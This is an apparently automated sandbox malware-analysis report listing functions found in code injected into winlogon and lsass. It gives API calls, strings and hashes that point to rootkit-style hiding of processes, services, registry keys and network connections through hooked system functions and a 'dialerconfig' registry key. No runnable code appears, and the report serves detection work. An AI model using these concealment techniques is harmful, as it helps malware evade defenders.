Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 61c98598d725439005a8348cc94fee34ff644915bea9077b60c4904ec0b0c66d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: E1119D35601B4681EE86CF66A4042BA63A0FBD9FE0F584234FE5D577A9DE3CC9428300

Function 000001F385BC1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F385BC126E
HeapAlloc.KERNEL32 ref: 000001F385BC127D
GetProcessHeap.KERNEL32 ref: 000001F385BC1297
HeapAlloc.KERNEL32 ref: 000001F385BC12A8

Memory Dump Source

Source File: 0000002B.00000002.2651699916.000001F385BC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F385BC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_1f385bc0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: feab5681243c9ea3ef05db4ea452e02591ff6f6f4dae11f5b3763983b80706bc
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: F8E0ED3160160182EB458FA2D8083AA36E0FBE9FA2F84C024DD1807394DF3C8188C750

Analysis Process: lsass.exePID: 640, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	120
Total number of Limit Nodes:	13

Executed Functions

Function 000002A29199253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000002A291992620
StrCpyW.SHLWAPI ref: 000002A291992639

Strings

\\.\pipe\, xrefs: 000002A29199262B

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: b60ce313c48d00840e0b1213c085003e09fb0053b976659188ccf0f46ed53324
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: B0717F263007A2C7F6A99E2BDA483AF6694F38EF84F640026DD0953B8DDF35D64D8741

Function 000002A29199202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002A2919920C6

Part of subcall function 000002A291992F04: GetProcessHeap.KERNEL32 ref: 000002A291992F27
Part of subcall function 000002A291992F04: HeapAlloc.KERNEL32 ref: 000002A291992F3A
Part of subcall function 000002A291992F04: StrCmpNIW.SHLWAPI ref: 000002A291992FAF
Part of subcall function 000002A291992F04: GetProcessHeap.KERNEL32 ref: 000002A291993015
Part of subcall function 000002A291992F04: HeapFree.KERNEL32 ref: 000002A291993023

Strings

dialer, xrefs: 000002A2919920BF
S, xrefs: 000002A2919921E7

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 31f48a6878fe19fac89be96b3cc806bef6c18fe058c887360822b4faed0dbcc7
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: BC519F76B10636C7FBADCB2BEA4866E63A5F70AB94F249011DE0512B49DF35C85DC301

Function 000002A291991628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002A291991633
HeapAlloc.KERNEL32 ref: 000002A291991642

Part of subcall function 000002A291991268: GetProcessHeap.KERNEL32 ref: 000002A29199126E
Part of subcall function 000002A291991268: HeapAlloc.KERNEL32 ref: 000002A29199127D
Part of subcall function 000002A291991268: GetProcessHeap.KERNEL32 ref: 000002A291991297
Part of subcall function 000002A291991268: HeapAlloc.KERNEL32 ref: 000002A2919912A8

RegOpenKeyExW.ADVAPI32 ref: 000002A2919916B2
RegOpenKeyExW.ADVAPI32 ref: 000002A2919916DF
RegCloseKey.ADVAPI32 ref: 000002A2919916F9
RegOpenKeyExW.ADVAPI32 ref: 000002A291991719
RegCloseKey.ADVAPI32 ref: 000002A291991734
RegOpenKeyExW.ADVAPI32 ref: 000002A291991754
RegCloseKey.ADVAPI32 ref: 000002A29199176F
RegOpenKeyExW.ADVAPI32 ref: 000002A29199178F
RegCloseKey.ADVAPI32 ref: 000002A2919917AA
RegOpenKeyExW.ADVAPI32 ref: 000002A2919917CA
RegCloseKey.ADVAPI32 ref: 000002A2919917E5
RegOpenKeyExW.ADVAPI32 ref: 000002A291991805
RegCloseKey.ADVAPI32 ref: 000002A291991820
RegOpenKeyExW.ADVAPI32 ref: 000002A291991840
RegCloseKey.ADVAPI32 ref: 000002A29199185B
RegOpenKeyExW.ADVAPI32 ref: 000002A29199187B
RegCloseKey.ADVAPI32 ref: 000002A291991896
RegCloseKey.ADVAPI32 ref: 000002A2919918A0

Part of subcall function 000002A2919912BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002A291991319
Part of subcall function 000002A2919912BC: GetProcessHeap.KERNEL32 ref: 000002A291991327
Part of subcall function 000002A2919912BC: HeapAlloc.KERNEL32 ref: 000002A291991338
Part of subcall function 000002A2919912BC: RegEnumValueW.ADVAPI32 ref: 000002A291991397
Part of subcall function 000002A2919912BC: GetProcessHeap.KERNEL32 ref: 000002A2919913DF
Part of subcall function 000002A2919912BC: HeapAlloc.KERNEL32 ref: 000002A2919913ED
Part of subcall function 000002A2919912BC: GetProcessHeap.KERNEL32 ref: 000002A29199140A
Part of subcall function 000002A2919912BC: HeapFree.KERNEL32 ref: 000002A291991418
Part of subcall function 000002A2919912BC: lstrlenW.KERNEL32 ref: 000002A291991421
Part of subcall function 000002A2919912BC: GetProcessHeap.KERNEL32 ref: 000002A29199142F
Part of subcall function 000002A2919912BC: HeapAlloc.KERNEL32 ref: 000002A29199143D

Strings

tcp_remote, xrefs: 000002A291991839
paths, xrefs: 000002A291991788
process_names, xrefs: 000002A29199174D
service_names, xrefs: 000002A2919917C3
pid, xrefs: 000002A291991712
udp, xrefs: 000002A291991874
SOFTWARE\dialerconfig, xrefs: 000002A291991692
tcp_local, xrefs: 000002A2919917FE
startup, xrefs: 000002A2919916D5

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 265f4212d38ea3b3e46c55dae75a9839ab9f88983801d7ae21ce8a3aa47b5e51
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: E171EA26310A22C7FB909F6BE95869E23B4F78AF9CF511121D94E47BA9DE34C48CC741

Function 000002A291991A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002A291991A60
StrCmpNIW.SHLWAPI ref: 000002A291991A7A
lstrlenW.KERNEL32 ref: 000002A291991A89
StrCpyW.SHLWAPI ref: 000002A291991A9E

Strings

\\?\, xrefs: 000002A291991A6E

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: a357d2d52508768e3afd4e1e04428e6709925dc5c1eedb762baf769dbdce5509
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 04F03622304652D3FBA08B2AFA8875A6761F75DF98FE44020DA4946598DE6CC64DCB01

Function 000002A29199328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A2919932AE
PathFindFileNameW.SHLWAPI ref: 000002A2919932BD

Part of subcall function 000002A291993844: StrCmpNIW.SHLWAPI ref: 000002A29199385C

Part of subcall function 000002A291993790: GetModuleHandleW.KERNEL32 ref: 000002A29199379E
Part of subcall function 000002A291993790: GetCurrentProcess.KERNEL32 ref: 000002A2919937CC
Part of subcall function 000002A291993790: VirtualProtectEx.KERNEL32 ref: 000002A2919937EE
Part of subcall function 000002A291993790: GetCurrentProcess.KERNEL32 ref: 000002A291993809
Part of subcall function 000002A291993790: VirtualProtectEx.KERNEL32 ref: 000002A29199382A

CreateThread.KERNEL32 ref: 000002A29199330B

Part of subcall function 000002A291991D14: GetCurrentThread.KERNEL32 ref: 000002A291991D1F

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 58e4f2d2b6d44b688d357d41d78580bd9e8a4ecd447c4753187665df867a6417
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: E4115E30750663C3F7E09F7BFB4E35B2294A79EF45FB04128991A41699EF78D28C8212

Function 000002A291991ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A291991628: GetProcessHeap.KERNEL32 ref: 000002A291991633
Part of subcall function 000002A291991628: HeapAlloc.KERNEL32 ref: 000002A291991642
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A2919916B2
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A2919916DF
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A2919916F9
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A291991719
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A291991734
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A291991754
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A29199176F
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A29199178F
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A2919917AA
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A2919917CA

Sleep.KERNEL32 ref: 000002A291991AD7
SleepEx.KERNELBASE ref: 000002A291991ADD

Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A2919917E5
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A291991805
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A291991820
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A291991840
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A29199185B
Part of subcall function 000002A291991628: RegOpenKeyExW.ADVAPI32 ref: 000002A29199187B
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A291991896
Part of subcall function 000002A291991628: RegCloseKey.ADVAPI32 ref: 000002A2919918A0

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 3c2d3c73657fef33275c25727780f265ec2bd7433f006fbc608fa0bc8dfbb08e
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2231ED61700662C3FBD09B2BD74936B13A5BB4EFE9F2854318E0B8729DEE14C45D8212

Function 000002A2911C273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002A2911C285E

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: b4be3b6af767c20a18f202599a4ffb0d2b1a842901df5322d96555700405c82d
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: B4610532B016B2D7DBA4CF1A900476E7392F755FA4F688121DE5907788EF38D85AE702

Non-executed Functions

Function 000002A291992B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002A291992BD0
lstrlenW.KERNEL32 ref: 000002A291992E0A

Part of subcall function 000002A29199199C: OpenProcess.KERNEL32 ref: 000002A2919919C2
Part of subcall function 000002A29199199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002A2919919E0
Part of subcall function 000002A29199199C: PathFindFileNameW.SHLWAPI ref: 000002A2919919EF
Part of subcall function 000002A29199199C: lstrlenW.KERNEL32 ref: 000002A2919919FB
Part of subcall function 000002A29199199C: StrCpyW.SHLWAPI ref: 000002A291991A0E
Part of subcall function 000002A29199199C: CloseHandle.KERNEL32 ref: 000002A291991A1C

GetProcAddress.KERNEL32 ref: 000002A291992BE5

Part of subcall function 000002A29199152C: StrCmpIW.SHLWAPI ref: 000002A29199155D

Part of subcall function 000002A291993844: StrCmpNIW.SHLWAPI ref: 000002A29199385C

StrCmpNIW.SHLWAPI ref: 000002A291992C28
lstrlenW.KERNEL32 ref: 000002A291992D50

Strings

\Device\Nsi, xrefs: 000002A291992C1B
ntdll.dll, xrefs: 000002A291992BC9
NtQueryObject, xrefs: 000002A291992BDB

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 043e66a94291c1a102d958949189fb88a9b9732a4a50de77dbbc8e9e83f4211b
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 76B1A022311A62C3FBD88F6AD6487AA63A4F74AF84F645016EE0957798DF35CC4CC341

Function 000002A291997D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002A291997DAC
RtlCaptureContext.NTDLL ref: 000002A291997DD9
RtlLookupFunctionEntry.NTDLL ref: 000002A291997DF3
RtlVirtualUnwind.NTDLL ref: 000002A291997E34
IsDebuggerPresent.KERNEL32 ref: 000002A291997E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A291997EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002A291997EB4

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 44736799373c9efb6451b95b64b9a47d87deab4c0848c0c6155269827a27a6b7
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 7C314C72305B91CAFBA49F65E8443EE7360F789B44F54402ADA4D47A98EF38C64CCB10

Function 000002A29199D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002A29199D31D
RtlLookupFunctionEntry.NTDLL ref: 000002A29199D335
RtlVirtualUnwind.NTDLL ref: 000002A29199D370
IsDebuggerPresent.KERNEL32 ref: 000002A29199D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A29199D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002A29199D3BE

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: c9b0c7b1d200b93522009db0479c6571555f4cb46859bdbeb309bed3194aa6ce
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 50316332314B91C6EBA0CF2AE94439E73A4F78AB54F600115EA9D43B98DF38C54DCB01

Function 000002A2919912BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A291991319
GetProcessHeap.KERNEL32 ref: 000002A291991327
HeapAlloc.KERNEL32 ref: 000002A291991338
RegEnumValueW.ADVAPI32 ref: 000002A291991397

Part of subcall function 000002A29199152C: StrCmpIW.SHLWAPI ref: 000002A29199155D

GetProcessHeap.KERNEL32 ref: 000002A2919913DF
HeapAlloc.KERNEL32 ref: 000002A2919913ED
GetProcessHeap.KERNEL32 ref: 000002A29199140A
HeapFree.KERNEL32 ref: 000002A291991418
lstrlenW.KERNEL32 ref: 000002A291991421
GetProcessHeap.KERNEL32 ref: 000002A29199142F
HeapAlloc.KERNEL32 ref: 000002A29199143D
StrCpyW.SHLWAPI ref: 000002A29199145F
GetProcessHeap.KERNEL32 ref: 000002A291991476
HeapFree.KERNEL32 ref: 000002A291991484

Strings

d, xrefs: 000002A29199135A

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 188830453a345198aa7934d318025cb7fa0c86e460bd2f7c13c811caed25026c
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: C9513636200B95C7EB94CF6AE64835BBBA1F78EF99F644124DA4A07758DF38D04D8B01

Function 000002A291991D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002A291991D1F

Part of subcall function 000002A291991FD4: GetModuleHandleA.KERNEL32 ref: 000002A291991FEC
Part of subcall function 000002A291991FD4: GetProcAddress.KERNEL32 ref: 000002A291991FFD

Part of subcall function 000002A291995B30: GetCurrentThreadId.KERNEL32 ref: 000002A291995B6B

Strings

NtQueryDirectoryFileEx, xrefs: 000002A291991D9C
EnumServicesStatusExW, xrefs: 000002A291991E11, 000002A291991E32
NtQuerySystemInformation, xrefs: 000002A291991D45
ntdll.dll, xrefs: 000002A291991D2D
sechost.dll, xrefs: 000002A291991E39
NtEnumerateKey, xrefs: 000002A291991DB9
NtEnumerateValueKey, xrefs: 000002A291991DD6
EnumServiceGroupW, xrefs: 000002A291991DF0
NtQueryDirectoryFile, xrefs: 000002A291991D7F
NtDeviceIoControlFile, xrefs: 000002A291991E56
NtResumeThread, xrefs: 000002A291991D62
advapi32.dll, xrefs: 000002A291991DF7, 000002A291991E18

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 72976cce3cdeaaa03b07112629cfa60ab1e39ff48f18b917d1b00f2fb3e72a4e
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 6631A96470196BE3FB85EBAFEA596D62360F71EF54FE04423940A061A9DF38824DC352

Function 000002A2911C6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A2911C6938
__scrt_acquire_startup_lock.LIBCMT ref: 000002A2911C698A
_RTC_Initialize.LIBCMT ref: 000002A2911C69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A2911C69DE
__scrt_release_startup_lock.LIBCMT ref: 000002A2911C6A09

Strings

`dynamic initializer for ', xrefs: 000002A2911C69C7
`eh vector copy constructor iterator', xrefs: 000002A2911C6A3B
`eh vector vbase copy constructor iterator', xrefs: 000002A2911C69EE
scriptor', xrefs: 000002A2911C6B39, 000002A2911C6BB2, 000002A2911C6BEC

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: af5a5ce0cdbfeb3487fb4e6867138305428b7cfe6bc9de5e2f443df4e713f03d
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 1A81AF61700673EBF6D49B6F944939B22A0ABA7F80FB44025D90543796EF78C84DE703

Function 000002A29199CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002A29199CE37
FlsGetValue.KERNEL32(?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CE4C
FlsSetValue.KERNEL32(?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CE6D
FlsSetValue.KERNEL32(?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CE9A
FlsSetValue.KERNEL32(?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CEAB
FlsSetValue.KERNEL32(?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CEBC
SetLastError.KERNEL32 ref: 000002A29199CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002A29199ECCC,?,?,?,?,000002A29199BF9F,?,?,?,?,?,000002A291997AB0), ref: 000002A29199CF2C

Part of subcall function 000002A29199D6CC: HeapAlloc.KERNEL32 ref: 000002A29199D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CF54

Part of subcall function 000002A29199D744: HeapFree.KERNEL32 ref: 000002A29199D75A
Part of subcall function 000002A29199D744: GetLastError.KERNEL32 ref: 000002A29199D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A2919A0A6B,?,?,?,000002A2919A045C,?,?,?,000002A29199C84F), ref: 000002A29199CF76

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 1aa138d20fc0b827cb1c5f57aa31ac61a2da1025fa63ea259488452dcac820d6
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: B6413D21341666C7FAE8677FDB5D36B61825B4FFB4F340624A936066DEDE28980D8202

Function 000002A291992244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A291992259
GetCurrentProcessId.KERNEL32 ref: 000002A291992263

Part of subcall function 000002A291991934: OpenProcess.KERNEL32 ref: 000002A291991952
Part of subcall function 000002A291991934: IsWow64Process.KERNEL32 ref: 000002A291991968
Part of subcall function 000002A291991934: CloseHandle.KERNEL32 ref: 000002A291991983

CreateFileW.KERNEL32 ref: 000002A2919922BC
WriteFile.KERNEL32 ref: 000002A2919922E4
ReadFile.KERNEL32 ref: 000002A291992303
CloseHandle.KERNEL32 ref: 000002A29199230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002A29199228C
\\.\pipe\dialerchildproc32, xrefs: 000002A291992293

Memory Dump Source

